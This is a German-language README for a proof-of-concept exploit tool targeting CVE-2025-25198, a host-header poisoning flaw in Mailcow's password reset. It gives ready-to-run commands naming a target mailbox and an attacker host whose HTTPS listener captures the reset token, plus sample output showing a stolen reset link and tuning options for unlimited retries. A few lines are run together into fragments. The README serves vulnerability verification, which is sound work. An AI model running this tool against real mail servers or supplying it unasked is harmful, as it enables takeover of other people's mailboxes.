
PoC für CVE-2025-25198: automatisierter Host-Header-Poisoning-Test für Mailcow - HTTPS-Listener, automatische Cookie-/CSRF-Verarbeitung, erfasst den ersten Reset-Link.
Proof-of-Concept für CVE-2025-25198, ein Host-Header-Poisoning-Problem, das die Passwort-Reset-Flows von Mailcow betrifft.
Das Skript startet einen lokalen HTTPS-Listener auf Port 443, holt automatisch ein gültiges CSRF-Token, sendet die Passwort-Reset-Sequenz mit einem manipulierten Host-Header und stoppt, sobald ein Reset-Link entweder aus der HTTP-Antwort oder aus einem Callback an den Listener wiederhergestellt wurde.
Host-Header.Python 3.8+
OpenSSL im PATH
sudo/root-Rechte, um Port 443 zu binden
Eingehender TCP/443 vom Ziel erreichbar
Installation der Abhängigkeiten:
pip install -r requirements.txt
In spitze Klammern gesetzte Werte sind Platzhalter. Ersetzen Sie sie durch Ihre eigenen Werte und lassen Sie die Zeichen < oder > weg.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # Basis-URL des Ziel-Mailcow. Beispiel: https://mail.example.com
<MAILBOX> # Postfach/Benutzer, das/der an das Reset-Formular übergeben wird. Normalerweise eine E-Mail-Adresse.
<ATTACKER_HOST> # IP oder DNS-Name, den das Ziel auf TCP/443 erreichen kann.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
Beispielausgabe:
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
HTTP/2 über httpx verwenden. Für beste Kompatibilität mit modernen Browsern empfohlen.
--interval <Sekunden>
Sekunden zwischen Versuchen und Listener-Warteintervallen. Standard: 8
--max-attempts <N>
Nach N Versuchen anhalten. Standard: 0, was unbegrenztes Wiederholen bedeutet.
--cookie '<Paare>'
Client-Cookie-Jar manuell seeden.
Beispiel: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
Ein bekanntes CSRF-Token anstelle der automatischen Erkennung verwenden.
--only-final
Fortschrittslogs ausblenden und nur das finale Reset-Link-Banner ausgeben.
443.443 sudo oder root-Rechte.https://<ATTACKER_HOST>/ erreichen können.server.pem und server.key werden automatisch generiert, falls sie fehlen.Dieser PoC ist für autorisierte Sicherheitstests, Laborumgebungen und die Überprüfung von Schwachstellen bestimmt. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung.